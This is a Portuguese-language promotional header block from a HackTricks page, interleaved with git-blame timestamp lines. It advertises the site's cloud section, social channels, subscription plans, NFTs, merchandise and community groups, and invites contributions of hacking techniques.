2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>